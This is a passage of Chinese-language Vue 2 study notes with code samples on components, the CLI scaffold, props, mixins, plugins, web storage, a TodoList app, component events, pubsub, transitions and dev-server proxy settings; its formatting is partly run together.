<head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>helloworld</title><script src="js/vue.js"></script>
</head>
<body><div id="app"><school></school><School></School><my-school></my-school><say></say></div>
</body>
<script type="text/javascript">Vue.config.devtools = true //使用VueTools工具进行调试Vue.config.productionTip=false //以阻止 vue 在启动时生成生产提示const s = Vue.extend({template:`<div><div>{{address}}</div><div>{{schoolName}}</div></div>`,data(){return{schoolName:"武汉东湖学院",address:"武汉"}}})const s2 = {name:"hello",template:`<div><div>{{say}}</div></div>`,data(){return{say:"hello world"}}}const vm = new Vue({el:"#app",components:{school:s,School:s,'my-school':s,say:s2}})
</script>
</html>
2.4 嵌套组件
<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>helloworld</title><script src="js/vue.js"></script>
</head>
<body><div id="root"><app></app></div><div id="root2"></div>
</body>
<script type="text/javascript">Vue.config.devtools = true //使用VueTools工具进行调试Vue.config.productionTip=false //以阻止 vue 在启动时生成生产提示//定义学生组件const student ={template:`<div><h1>{{studentName}}</h1> <h2>{{age}}</h2> </div>`,data(){return{studentName:"张三",age:20}}}//定义老师组件const teacher ={template:`<div><h1>{{teacherName}}</h1> <h2>{{grade}}</h2> </div>`,data(){return{teacherName:"罗翔",grade:"高级"}}}//定义学校组件const school ={template:`<div><h1>{{schoolName}}</h1> <h2>{{address}}</h2> <hr><teacher></teacher><hr><student></student> </div>`,data(){return{schoolName:"武汉东湖学院",address:"武汉"}},components:{student,teacher}}//定义hello组件const hello ={template:`<div><h1>{{hello}}</h1> </div>`,data(){return{hello:"welcome to vue!"}}}//定义app组件统一管理嵌套的组件const app ={template:`<div><hello></hello><school></school></div>`,components:{hello,school}}const vm = new Vue({el:"#root",components:{app}})const vm2 = new Vue({template:`<app></app>`,el:"#root2",components:{app}})
</script>
</html>
2.5 VueComponent
关于VueComponent:
- school组件本质是一个名为VueComponent的构造函数，且不是程序员定义的，是Vue.extend生成的。
- 我们只需要写或/school>,Vue解析时会帮我们创建school组件的实例对象，即Vue帮我们执行的：new VueComponent(options)。
- 特别注意：每次调用Vue.extend,返回的都是一个全新的VueComponent!!!
- 关于this指向：
- 组件配置中：
data函数、methods中的函数、watch中的函数、computed中的函数它们的this均是**【VueComponent实例对象】** - new Vue()配置中：
data函数、methods中的函数、watch中的函数、computed中的函数它们的this均是**【Vue实例对象】。**
- 组件配置中：
- VueComponent的实例对象，以后简称vc(也可称之为：组件实例对象）。
Vue的实例对象，以后简称vm。
- 一个重要的内置关系: VueComponent.prototype.__ proto __ == Vue.prototype
- 为什么要有这个关系:让组件实例对象(vc)可以访问到vue原型上的属性、方法
<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>helloworld</title><script src="js/vue.js"></script>
</head>
<body><div id="root"><school></school></div>
</body>
<script type="text/javascript">Vue.config.devtools = true //使用VueTools工具进行调试Vue.config.productionTip=false //以阻止 vue 在启动时生成生产提示Vue.prototype.n=99const school = {template:`<div><h1 v-if="flag">n的值为：{{n}}</h1><button @click="show">显示n</button></div>`,data(){return{flag:false}},methods: {show(){this.flag =true}},}const vm = new Vue({el:"#root",data:{},components:{school}})
</script>
</html>
2.6 单文件组件
School.vue
<template><div><h1>学校名称：{{name}}</h1><h2>学校地址：{{address}}</h2><hr></div> </template><script> export default {name:"School",data() {return {name:"武汉东湖",address:"武汉"}}, } </script><style></style>Student.vue
<template><div><h1>学生姓名：{{name}}</h1><h2>学生年龄：{{age}}</h2><hr></div> </template><script> export default {name:"School",data() {return {name:"张三",age:"19"}}, } </script><style></style>App.vue
<template><div></div> </template><script> import School from "./School.vue" import Student from "./Student.vue"export default {name:"App",components:{School,Student} } </script><style></style>main.js
import App from "./App.vue"new Vue({el:"#root",template:`<App></App>`,components:{App} })index.html
<!DOCTYPE html> <html lang="en"> <head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Document</title> </head> <body><div id="root"></div><script type="text/javascript" src="../js/vue.js"></script><script type="text/javascript" src="./main.js"></script> </body> </html>
2.7 初始化脚手架
安装最新版的CLI
npm install -g @vue/cli # OR yarn global add @vue/cli如果网络很慢使用npm的淘宝镜像的加速
npm config set registry https://registry.npm.taobao.org创建项目
切换到你需要的目录下创建一个新项目
vue create xxx你会被提示选取一个 preset。你可以选默认的包含了基本的 Babel + ESLint 设置的 preset，也可以选“手动选择特性”来选取需要的特性。
这个默认的设置非常适合快速创建一个新项目的原型，而手动设置则提供了更多的选项，它们是面向生产的项目更加需要的。
运行项目
进入到项目的目录下，运行项目
npm run serve启动成功后出现如下界面
测试访问
2.8 分析脚手架
node_modules：用于存放我们项目的各种依赖；public：用于存放静态资源（不会变动的）；public/index.html：模板文件，作用是生成项目的入口文件。浏览器访问项目的时候就会默认打开的是生成好的 index.html。<!DOCTYPE html> <html lang=""><head><meta charset="utf-8"><!-- 针对IE浏览器的一个特殊配置，含义是让IE浏览器以最高的渲染级别渲染页面 --><meta http-equiv="X-UA-Compatible" content="IE=edge"><!-- 开启移动端理想视口 --><meta name="viewport" content="width=device-width,initial-scale=1.0"><!-- 网站图标，<%= BASE_URL %>相当于指定网站根目录 --><link rel="icon" href="<%= BASE_URL %>favicon.ico"><!-- 网站标题 --><title><%= htmlWebpackPlugin.options.title %></title></head><body><!-- 不支持javascript会输出下面这句话 --><noscript><strong>We're sorry but <%= htmlWebpackPlugin.options.title %> doesn't work properly without JavaScript enabled. Please enable it to continue.</strong></noscript><div id="app"></div><!-- built files will be auto injected --></body> </html>public/favicon.ico：网站图标
src：是存放各种 .vue 文件的地方。src/assets：用于存放着各种静态文件（可能会变动），比如图片。src/components：存放公共组件（可复用），比如 header.vue、footer.vue 等。src/App.vue：App.vue 是项目的主组件；App.vue 中使用 router-link 引入其他模块，所有的页面都是在 App.vue 下切换的。src/main.js：入口文件，主要作用是初始化 vue 实例，同时可以在此文件中引用某些组件库或者全局挂载一些变量。
.gitignore：配置 git 上传想要忽略的文件格式。babel.config.js：一个工具链，主要用于在当前和较旧的浏览器或环境中将 ES6 的代码转换向后兼容（低版本ES）。package.json：模块基本信息项目开发所需要的模块，版本，项目名称。package-lock.json：是在 npm install 时候生成的一份文件，用于记录当前状态下实际安装的各个 npm package 的具体来源和版本号。
2.18.1 关于不同版本的vue:
wue.js与vue.runtime.xxx.js的区别:- wue.js是完整版的vue,包含:核心功能+模板解析器
- vue.runtime.xxx.js是运行版的vue,只包含核心功能,没有模板解析器
- 因为vue.runtime.xxx,js没有模板解析器,所以不能使用 template配置项,需要使用render函数接收到的 createElementi函数去指定具体内容
2.9 ref属性
被用来给元素或子组件注册引用信息(id的替代者
应用在htm标签上获取的是真实DM元素,应用在组件标签上是组件实例对象(vc
使用方式
- 打标识:
…
或< School ref=“xxx”></ Schoo1>
- 获取: this.$refs.xxx
<template><div><School ref="sch"></School><button ref="btn" @click="showDom">button</button></div></template><script> import School from "./components/School.vue"export default {name:"App",components:{School},methods: {showDom(){console.log(this.$refs.sch)console.log(this.$refs.btn)}}, } </script><style></style>- 打标识:
2.10 配置项props
功能: 让组件接收外部传过来的数据
传递数据:
接收数据:
第一种方式(只接收)
props:[“name”]第二种方式(限制类型)
props:{name: Number }第三种方式(限制类型、限制必要性、指定默认值)
props:{name:{type: String,//类型required:true,//必要性default:'老王'//默认值} }
备注: props是只读的,Wue底层会监测你对 props的修改,如果进行了修改,就会发出警告若业务需求确实需要修改,那么请复制 props的内容到data中一份,然后去修改data中的数据。
<template><div><School :studentNumber="studentNumber" :tuition="tuition"></School></div></template><script>
import School from "./components/School.vue"export default {name:"App",components:{School},data() {return {studentNumber: 20000,tuition: 30000 }},
}
</script><style></style>
<template><div><h1>学习名称：{{name}}</h1><h2>地址：{{address}}</h2><h2>学生人数：{{studentNumber}}</h2><h2>学费：{{tuition}}</h2></div>
</template><script>
export default {name:"School",data() {return {name:"武汉东湖学院",address:"湖北武汉"}},//第一种：简单接收数据// props:["studentNumber","tuition"]//第二种：接收数据并指定类型// props:{// studentNumber: Number,// tuition: Number// }//第三种：接收参数并指定详细内容props:{studentNumber:{type: Number,required: true,},tuition:{type: Number,default: 25000,}}
}
</script><style></style>
2.11 mixin(混入)
功能:可以把说个组件共用的配置提取成一个混入对象
使用方式:
第一步定义混合,例如:
export const a = {data(){...},method(){...},... }第二步使用混入,例如:
全局混入
Vue.mixin(组件名)局部混入
mixins:[组件名]
mixin.js
export const mixin = {methods: {showName(){alert(this.name)}}, }export const mixin2 = {mounted() {console.log("hello vue!")},data(){return{x: 100,y: 200}} }main.js
import Vue from 'vue' import App from './App.vue' import {mixin2} from "./mixin"Vue.config.productionTip = false //定义全局混合组件 Vue.mixin(mixin2)new Vue({render: h => h(App), }).$mount('#app')Student.vue
<template><div><h1 @click="showName">学生姓名：{{name}}</h1><h2>年龄：{{age}}</h2><h3>x:{{x}}; y:{{y}}</h3></div> </template><script> //引入一个混合组件 import {mixin} from "../mixin" export default {name:"Student",data() {return {name:"pony",age:22}},mixins:[mixin] } </script><style></style>School.vue
<template><div><h1 @click="showName">学习名称：{{name}}</h1><h2>地址：{{address}}</h2><h3>x:{{x}}; y:{{y}}</h3></div> </template><script> //引入一个混合组件 import {mixin} from "../mixin" export default {name:"School",data() {return {name:"武汉东湖学院",address:"湖北武汉",x: 200 //与混合组件中有相同的属性以自己的为准}},mixins:[mixin] } </script><style></style>
2.12 插件
功能: 用于增强Vue
本质: 包含 insta11方法的一个对象, insta11的第一个参数是vue,第二个以后的参数是插件使用者传递的数
定义插件:
对象. insta11= function(vue, options){//1.添加全局过滤器Vue filter(...)//2.添加全局指令Vue.directive(...)//3.配置全局混入(合)Vue mixin (...)//4.添加实例方法Vue.prototype.$myMethod=function(){}Vue.prototype.$myProperty=xxx
}
使用插件: Vue.use()
快速体验：
export default {install(Vue){// console.log("@@@install",Vue)//全局的filterVue.filter("mySlice", function(value){ return value.slice(0,4)})//全局自定义指令Vue.directive("fbind",{ bind(element, binding){ //指令与元素成功绑定时调用console.log("bind")element.value = binding.value*10},inserted(element){ //指令所在元素被插入页面后调用console.log("inserted")element.focus()},update(element, binding){ //指令所用到的数据发生更新时调用console.log("update")element.value = binding.value*10}})//全局混入Vue.mixin({data(){return{x: 20,y: 30}}})}
}
import plugins from "./plugins"
Vue.use(plugins)
2.13 scoped样式
每个模块里面定义的样式默认都是全局使用的，在app里面后引入的模块样式会覆盖掉先引入的样式，只需要在style标签里定义scoped属性即可定义局部的style样式，只在模块内生效。
<style scoped>.demo{background-color: skyblue;}
</style>
2.14 TodoList案例
组件化编码流程:
- 拆分静态组件: 组件要按照功能点拆分,命名不要与hm元素冲突。
- 实现动态组件: 考虑好数据的存放位置,数据是一个组件在用,还是些组件在用
- 一个组件在用: 放在组件自身即可。
- 一些组件在用: 放在他们共同的父组件上(状态提升)
- 实现交互: 从绑定事件开始。
props适用于
- 父组件 => 子组件通信
- 子组件 => 父组件通信(要求父先给子一个函数)
- 使用 v-mode时要切记: v-mode绑定的值不能是 props传过来的值,因为 props是不可以修改的
- props传过来的若是对象类型的值,修改对象中的属性时vue不会报错,但不推荐这样做。
2.14.1 App.Vue
<template><div id="main"><FormTop :addTodo="addTodo"/><FormList :todos="todos" :checkTodo="checkTodo":deleteTodo="deleteTodo"/><FormFooter :todos="todos":checkAllTodo="checkAllTodo":deleteDoneTodo="deleteDoneTodo"/></div></template><script>
import FormTop from "./components/FormTop.vue"
import FormList from "./components/FormList.vue"
import FormFooter from "./components/FormFooter.vue"export default {name:"App",components:{FormTop,FormList,FormFooter},data(){return{todos:[{id:"001", name:"唱", done: false },{id:"002", name:"跳", done: true },{id:"003", name:"rap", done: false },{id:"004", name:"篮球", done: true },]}},methods:{//添加一个todoaddTodo(todoObj){this.todos.unshift(todoObj)},//勾选或取消勾选任务checkTodo(id){this.todos.forEach((todo)=>{if(todo.id === id) todo.done = !todo.done})},//删除任务deleteTodo(id){this.todos = this.todos.filter(todo => todo.id !== id )},//勾选或者取消全部checkAllTodo(done){this.todos.forEach(todo => todo.done = done)},//删除已完成任务deleteDoneTodo(){if(confirm("确定删除？"))this.todos = this.todos.filter(todo => !todo.done)}}
}
</script><style>input{margin: 0px;}*{margin:0px;padding:0px}#main{border:1px solid #000;border-radius: 5px;box-shadow: slategray 5px 5px;width: 30%;margin: 0 auto;}#main{margin-top: 30px;padding: 30px;}</style>
2.14.2 FormTop.vue
<template><div id="top"><input type="text" id="input" v-model="inputText" @keyup.enter="add" placeholder="输入您的任务，按回车确认"/></div>
</template><script>
import {nanoid} from "nanoid"
export default {neme:"FormTop",data(){return{inputText:""}},props:["addTodo"],methods:{add(){//校验输入框是否为空if(!this.inputText.trim()) return alert("输入不能为空！")//输入框不为空创建todo对象const todoObj = {id: nanoid(), //使用nanoid生成idname: this.inputText,done: false}//传入数据添加到todos中this.addTodo(todoObj)this.inputText=""}},}
</script><style scoped>#top{margin-bottom: 10px;}#input{outline-style: none ;border: 1px solid #ccc; border-radius: 3px;padding: 8px 14px;width: 100%;font-size: 14px;font-weight: 700;font-family: "Microsoft soft";}#input:focus{border-color: #66afe9;outline: 0;-webkit-box-shadow: inset 0 1px 1px rgba(0,0,0,.075),0 0 8px rgba(102,175,233,.6);box-shadow: inset 0 1px 1px rgba(0,0,0,.075),0 0 8px rgba(102,175,233,.6)}
</style>
2.14.3 FormList.vue
<template><ul id="list"><FormListItem v-for="todo in todos" :key="todo.id" :todo="todo" :checkTodo="checkTodo":deleteTodo="deleteTodo"/><li v-show="!todos.length" :style="noTask">暂无任务,请添加！</li></ul></template><script>
import FormListItem from "./FormListItem.vue"
export default {neme:"FormList",components:{FormListItem},data(){return{noTask:{listStyle: "none",color: "red",textAlign: "center",fontSize: "20px",fontWeight: "600",marginTop: "20px"}}},props:["todos", "checkTodo", "deleteTodo"]}
</script><style></style>
2.14.4 FormListItem.vue
<template><li><input type="checkbox" :checked="todo.done" @change="check(todo.id)"><span class="text" :style="isDone(todo.done)" @click="showInfo(todo)">{{todo.name | mySlice}}</span><span><a href="#" @click="todoDelete(todo.id)">×</a></span></li></template><script>
export default {neme:"FormListItem",props:["todo", "checkTodo", "deleteTodo"],methods:{check(id){this.checkTodo(id)},todoDelete(id){if(confirm("确定删除？")){this.deleteTodo(id)}},isDone(done){const doneStyle = {color: "slategray",fontWeight: "200",textDecoration:"line-through"}if(done)return doneStyle},showInfo(todo){alert("任务名："+ todo.name + "\r\n\n完成情况："+ (todo.done ? "完成":"未完成")) }},filters:{mySlice(value){return value.slice(0,15) + (value.length > 15 ? "...":"") }}}
</script><style scoped>li{list-style: none;border: 1px solid #ccc;width: 100%;height: 35px;line-height: 33px;border-radius: 3px;padding: 1px 5px;}li span:last-child{display: none;float: right;margin-right: 10px;font-size: 28px;font-weight: 100;}li:hover{background-color:silver;}li:hover span:last-child{display: block;}.text{font-size: 14px;font-weight: 600;margin-left: 12px;}a{text-decoration: none;color:seashell;}a:hover{color: red;}</style>
2.14.5 FormFooter.vue
<template><div id="footer" v-show="count"><input type="checkbox" v-model="isAllCheck"> <span>已完成{{doneCount}} / 未完成{{count}}</span> <input class="myButton" type="button" @click="deleteDoneTodo" value="清除已完成任务"></div>
</template><script>
export default {neme:"FormFooter",props:["todos", "checkAllTodo", "deleteDoneTodo"],computed:{count(){return this.todos.length},doneCount(){return this.todos.reduce((pre,todo) => pre+(todo.done ? 1 : 0), /*初始值*/0)},isAllCheck:{get(){return this.count === this.doneCount && this.count !== 0},set(value){this.checkAllTodo(value)}}}}
</script><style scoped>#footer{margin: 20px 0px 0px 0px;}.myButton {box-shadow:inset 0px 1px 0px 0px #f7c5c0;background:linear-gradient(to bottom, #fc8d83 5%, #e4685d 100%);background-color:#fc8d83;border-radius:3px;border:1px solid #d83526;cursor:pointer;color:#ffffff;font-family:Arial;font-size:15px;font-weight:bold;padding:3px 20px;text-decoration:none;text-shadow:0px 1px 0px #b23e35;float: right;}.myButton:hover {background:linear-gradient(to bottom, #e4685d 5%, #fc8d83 100%);background-color:#e4685d;}.myButton:active {position:relative;top:1px;}</style>
2.15 webStorage
- 存储内容大小一般支持5MB左右(不同浏览器可能还不一样)
- 浏览器端通过 Window. sessionStorage和 Window.localStorage属性来实现本地存储机制。
- 相关API
xxxxxStorage.setItem('key','value')
该方法接受—个键和值作为参数,会把键值对添加到存储中,如果键名存在,则更新其对应的值。xxxxxStorage.getItem('person')
该方法接受一个键名作为参数,返回键名对应的值。xxxxxStorage.removeItem('key')
该方法接受—个键名作为参数,并把该键名从存储中删除。xxxxxStorage.clear()
该方法会清空存储中的所有数据
- 备注
- sessionStorage存储的内容会随着浏览器窗口关闭而消失
- localStorage存储的内容,需要手动清除才会消失
- xxxxxStorage.getItem(x)如果x对应的vae获取不到,那么 getter的返回值是null
- JSON. parse(null)的结果依然是null
2.15.1 localStorage
<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>localStroage</title>
</head>
<body><h1>localStorage</h1><button onclick="add()">添加stroage</button><button onclick="deleteOne()">删除一个stroage</button><button onclick="get()">得到stroage</button><button onclick="deleteAll()">清空stroage</button><script type="text/javascript">function add(){localStorage.setItem("msg", "hello world!")const person = {"id": "001", "name": "张三", "age": 18}localStorage.setItem("pserson", JSON.stringify(person))}function deleteOne(){localStorage.removeItem("msg")}function get(){console.log("msg", localStorage.getItem("msg"))console.log("person", JSON.parse(localStorage.getItem("msg")))}function deleteAll(){localStorage.clear()}</script>
</body>
</html>
2.15.2 SessionStorage
<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>sessionStroage</title>
</head>
<body><h1>sessionStorage</h1><button onclick="add()">添加stroage</button><button onclick="deleteOne()">删除一个stroage</button><button onclick="get()">得到stroage</button><button onclick="deleteAll()">清空stroage</button><script type="text/javascript">function add(){sessionStorage.setItem("msg", "hello world!")const person = {"id": "001", "name": "张三", "age": 18}sessionStorage.setItem("pserson", JSON.stringify(person))}function deleteOne(){sessionStorage.removeItem("msg")}function get(){console.log("msg", sessionStorage.getItem("msg"))console.log("person", JSON.parse(sessionStorage.getItem("msg")))}function deleteAll(){sessionStorage.clear()}</script>
</body>
</html>
2.16 本地存储TodoList案例
使用js原生自带的localStorage属性，仅修改App.vue即可，其他的组件使用上面案例即可！
<template><div id="main"><FormTop :addTodo="addTodo"/><FormList :todos="todos" :checkTodo="checkTodo":deleteTodo="deleteTodo"/><FormFooter :todos="todos":checkAllTodo="checkAllTodo":deleteDoneTodo="deleteDoneTodo"/></div></template><script>
import FormTop from "./components/FormTop.vue"
import FormList from "./components/FormList.vue"
import FormFooter from "./components/FormFooter.vue"export default {name:"App",components:{FormTop,FormList,FormFooter},data(){return{// todos:[// {id:"001", name:"唱", done: false },// {id:"002", name:"跳", done: true },// {id:"003", name:"rap", done: false },// {id:"004", name:"篮球", done: true },// ]todos: JSON.parse(localStorage.getItem("todos")) || []}},methods:{//添加一个todoaddTodo(todoObj){this.todos.unshift(todoObj)},//勾选或取消勾选任务checkTodo(id){this.todos.forEach((todo)=>{if(todo.id === id) todo.done = !todo.done})},//删除任务deleteTodo(id){this.todos = this.todos.filter(todo => todo.id !== id )},//勾选或者取消全部checkAllTodo(done){this.todos.forEach(todo => todo.done = done)},//删除已完成任务deleteDoneTodo(){if(confirm("确定删除？"))this.todos = this.todos.filter(todo => !todo.done)}},watch:{todos:{deep:true, //开启深度监视handler(value){localStorage.setItem("todos", JSON.stringify(value))} }}
}
</script><style>input{margin: 0px;}*{margin:0px;padding:0px}#main{border:1px solid #000;border-radius: 5px;box-shadow: slategray 5px 5px;width: 30%;margin: 0 auto;}#main{margin-top: 30px;padding: 30px;}</style>
2.17 自定义事件
一种组件间通信的方式,适用于:子组件=>父组件
使用场景 :A是父组件, B是子组件, B想给A传数据, 那么就要在A中给B绑定自定义事件(事件的回调在A中)
绑定自定义事件
第一种方式,在父组件中: <Demo @atguigu=“test”/>或< Demo v-on:atguigu=“test”/>
第二种方式,在父组件中
<Demo ref="demo"/> ...... mounted(){this.$refs.xxx.$on("事件名", this.绑定的回调函数) }若想让自定义事件只能触发一次,可以使用
once修饰符,或$once方法
触发自定义事件:this.
$emit("事件名', 传入的参数)解绑自定义事件
this.$off('事件名')组件上也可以绑定原生DOM事件,需要使用 native修饰符。
2.17.1 绑定自定义事件
<template><div><!-- 通过父组件给子组件传递函数类型的 props实现:子给父传递数据 --><School :showName="showName"/><hr><!-- 通过父组件给子组件绑定一个自定义事件实现:子给父传递数据(第一种写法,使用@或v-on) --><Student @lyx="showName"/><hr><!-- 通过父组件给子组件绑定一个自定义事件实现:子给父传递数据(第二种写法,使用ref) --><Student ref="stu"/></div></template><script>
import School from "./components/School.vue"
import Student from "./components/Student.vue"export default {name:"App",components:{School,Student},methods: {showName(name){alert(name)}},mounted(){setTimeout(()=>{ //3秒后绑定事件this.$refs.stu.$on("lyx", this.showName)},3000)}
}
</script><style></style>
<template><div><h1 @click="inApp">学生姓名：{{name}}</h1><h2>学生年龄：{{address}}</h2></div>
</template><script>
export default {name:"Student",data() {return {name:"张三",address:18}},methods:{inApp(){this.$emit("lyx", "学生传来消息："+this.name)}}
}
</script><style></style>
<template><div><h1 @click="inApp">学校名称：{{name}}</h1><h2>学校地址：{{address}}</h2></div>
</template><script>
export default {name:"School",data() {return {name:"武汉东湖学院",address:"湖北武汉"}},props:["showName"],methods:{inApp(){this.showName("学校传来消息："+this.name)}}
}
</script><style></style>
2.17.2 解绑自定义事件
<template><div><h1 @click="inApp">学生姓名：{{name}}</h1><h2>学生年龄：{{address}}</h2><button @click="destruction">销毁自定义事件</button><button @click="destructionVC">销毁vc实例</button></div>
</template><script>
export default {name:"Student",data() {return {name:"张三",address:18}},methods:{inApp(){this.$emit("lyx", "学生传来消息："+this.name)this.$emit("clog")},destruction(){// this.$off("lyx") //销毁一个自定义事件// this.$off(["lyx","clog"]) //销毁多个自定义事件this.$off() // 销毁所有的自定义事件},destructionVC(){this.$destroy() //销毁实例对象，自定义事件都销毁了}}
}
</script><style></style>
2.18 全局事件总线(G| obalEventBus)
—种组件间通信的方式,适用于任意组件间通信。
安装全局事件总线
new Vue({......beforeCreate(){Vue.prototype.$bus = this // 安装全局事件总线，$bus就是当前应用的vm},...... })使用事件总线
接收数据: A组件想接收数据,则在A组件中给$bus绑定自定义事件,事件的回调留在A组件自身
methods:{demo(data){......} }, mounted(){this.$bus.$on("xxx", this.demo) }提供数据:
this.$bus.$emit("xxx", 数据)
最好在 beforeDestroy钩子中,用$off去解绑当前组件所用到的事件。
快速体验：
main.js
import Vue from 'vue' import App from './App.vue'Vue.config.productionTip = falsenew Vue({render: h => h(App),beforeCreate(){Vue.prototype.$bus = this // 安装全局事件总线} }).$mount('#app')School.vue
<template><div><h1>学习名称：{{name}}</h1><h2>地址：{{address}}</h2></div> </template><script> export default {name:"School",data() {return {name:"武汉东湖学院",address:"湖北武汉",}},mounted(){this.$bus.$on("sendName", (name)=>{ //在总线上创建自定义事件用于接收数据alert("School收到学生姓名："+name);})},beforeDestroy(){this.$bus.$off("sendName") //生命周期结束，销毁自定义事件} } </script><style></style>Student.vue
<template><div><h1>学生姓名：{{name}}</h1><h2>年龄：{{age}}</h2><button @click="sendName">sendName</button></div> </template><script> export default {name:"Student",data() {return {name:"pony",age:22}},methods:{sendName(){this.$bus.$emit("sendName", this.name) //使用自定义事件传递数据}} } </script><style></style>
2.19 消息订阅与发布( pubsub)
种组件间通信的方式,适用于任意组件间通信。
使用步骤
安装 pubsub:
npm i pubsub-js引入:
import pubsub from 'pubsub-js'接收数据:A组件想接收数据, 则在A组件中订阅消息, 订阅的回调留在A组件自身。
methods:{demo(data){...} } ... mounted(){this.pid = pubsub.subscribe("xxx", this.demo) //订阅消息 }提供数据：
pubsub.publish("xxx", 数据)最好在beforeDestroy钩子中，使用
pubsub.unsubscribe(pid)去取消订阅
快速体验：
消息订阅者
<template><div><h1>学习名称：{{name}}</h1><h2>地址：{{address}}</h2></div> </template><script> import pubsub from "pubsub-js" export default {name:"School",data() {return {name:"武汉东湖学院",address:"湖北武汉",}},mounted(){// this.$bus.$on("sendName", (name)=>{ //在总线上创建自定义事件用于接收数据// alert("School收到学生姓名："+name);// })// this.pid = pubsub.subscribe("hello", (msgName,data)=>{// alert("学校收到学生姓名："+data)/})this.pid = pubsub.subscribe("hello", (_,data)=>{ //使用_站位，表示不使用alert("学校收到学生姓名："+data)})},beforeDestroy(){// this.$bus.$off("sendName") //生命周期结束，销毁自定义事件pubsub.unsubscribe(this.pid) //取消订阅} } </script><style></style>消息发布者
<template><div><h1>学生姓名：{{name}}</h1><h2>年龄：{{age}}</h2><button @click="sendName">sendName</button></div> </template><script> import pubsub from "pubsub-js" export default {name:"Student",data() {return {name:"pony",age:22}},methods:{sendName(){// this.$bus.$emit("sendName", this.name)pubsub.publish("hello", this.name)}} } </script><style></style>
2.20 nextTick
- 语法:this.$nextTick(回调函数)
- 作用: 在下一次DOM更新结束后执行其指定的回调。
- 什么时候用: 当改变数据后,要基于更新后的新DOM进行某些操作时,要在 nextTick所指定的回调函数中执行
2.21 Vue封装的过度与动画
作用: 在插入、更新或移除DOM元素时,在合适的时候给元素添加样式类名
图示
写法
准备好样式:
- 元素进入的样式
- v- enter: 进入的起点
- V-enter-active: 进入过程中
- v-enter-to: 进入的终点
- 元素离开的样式
- v-leave: 离开的起点
- v-leave-active: 离开的过程
- v-leave-to: 离开的终点
- 元素进入的样式
使用
<transition>包裹要过度的元素，并配置name属性<transition name="hello"><h1 v-show="isShow">hello vue</h1> </transition>备注:若有多个元素需要过度,则需要使用:
< transition- group>, 且每个元素都要指定key值
快速体验：
<template><div><button @click="isShow = !isShow">显示/隐藏</button><transition name="h" appear><div class="box" v-show="isShow">hello vue!</div></transition></div>
</template><script>
export default {name:"test",data(){return{isShow:true}}
}
</script><style>
.box{margin: 20px 0px;box-shadow:darkorange 5px 5px;border:black 1px solid;border-radius: 5px;width: 200px;height: 200px;padding: 20px;font-size: 40px;font-weight: 800;
}
/*自定义动画*/
@keyframes effect {from{transform: translateX(-100%);}to{transform: translateX(0px);}
}/*默认transition没有name，使用v开头，有name就替换掉v*/
.h-enter-active{animation: effect 1s linear;
}
.h-leave-active{animation: effect 1s linear reverse;
}</style>
<template><div><button @click="isShow = !isShow">显示/隐藏</button><transition name="h" appear><h1 class="box" v-show="isShow">hello vue!</h1></transition></div>
</template><script>
export default {name:"test2",data(){return{isShow:true}}
}
</script><style>
.box{margin: 20px 0px;box-shadow:darkorange 5px 5px;border:black 1px solid;border-radius: 5px;width: 200px;height: 200px;padding: 20px;font-size: 40px;font-weight: 800;
}/*使用过渡*/
/*进入的起点，离开的终点*/
.h-enter, .h-leave-to{transform: translateX(-100%);
}
/*进入的终点，离开的起点*/
.h-enter-active, .h-leave-active{transition: 0.5 linear;
}
/*进入或离开时响应的动画*/
.h-enter-to, .h-leave{transform: translateX(0);
}
</style>
<template><div><button @click="isShow = !isShow">显示/隐藏</button><transition-group name="h" appear><h1 class="box" v-show="!isShow" key="1">hello vue!</h1><h1 class="box" v-show="isShow" key="2">hello world!</h1></transition-group></div>
</template><script>
export default {name:"test3",data(){return{isShow:true}}
}
</script><style scoped>
.box{margin: 20px 0px;box-shadow:darkorange 5px 5px;border:black 1px solid;border-radius: 5px;width: 200px;height: 200px;padding: 20px;font-size: 40px;font-weight: 800;
}/*使用过渡*/
/*进入的起点，离开的终点*/
.h-enter, .h-leave-to{transform: translateX(-100%);
}
/*进入的终点，离开的起点*/
.h-enter-active, .h-leave-active{transition: 0.5 linear;
}
/*进入或离开时响应的动画*/
.h-enter-to, .h-leave{transform: translateX(0);
}
</style>
<template><div><button @click="isShow = !isShow">显示/隐藏</button><transition-groupappearname="animate__animated animate__bounce"enter-active-class="animate__bounceInDown"leave-active-class="animate__bounceOutUp"><h1 class="box" v-show="!isShow" key="1">hello vue 1212!</h1><h1 class="box" v-show="isShow" key="2">hello world !</h1></transition-group></div>
</template><script>
import "animate.css"
export default {name:"test4",data(){return{isShow:true}}
}
</script><style scoped>.box{margin: 20px 0px;box-shadow:darkorange 5px 5px;border:black 1px solid;border-radius: 5px;width: 200px;height: 200px;padding: 20px;font-size: 40px;font-weight: 800;
}</style>
2.22 vue脚手架配置代理
2.22.1 方法一
在 vue.config. js中添加如下配置:
devServer: {proxy: "被代理服务器的ip:端口"}
说明
- 优点:配置简单,请求资源时直接发给前端(8080)即可
- 缺点:不能配置多个代理,不能灵活的控制请求是否走代理
- 工作方式:若按照上述配置代理,当请求了前端不存在的资源时,那么该请求会转发给服务器(优先匹配前端资源
2.22.3 方法二
编写vue.config. js 配置具体代理规则:
devServer: {proxy: {"/server": {target: "http://localhost:8001",pathRewrite: {"^/server": ""}, //将请求头中的字符替换掉ws: true, //用于支持websocketchangeOrigin: true, //用于支持请求头中的host值},"/server2": {target: "http://localhost:8002",pathRewrite: {"^/server2": ""}, //将请求头中的字符替换掉ws: true, //用于支持websocketchangeOrigin: true, //用于支持请求头中的host值},}
}
说明
- 优点:可以配置多个代理,且可以灵活的控制请求是否走代理。
- 缺点:配置略微繁琐,请求资源时必须加前缀。
快速体验：
vue.config.js
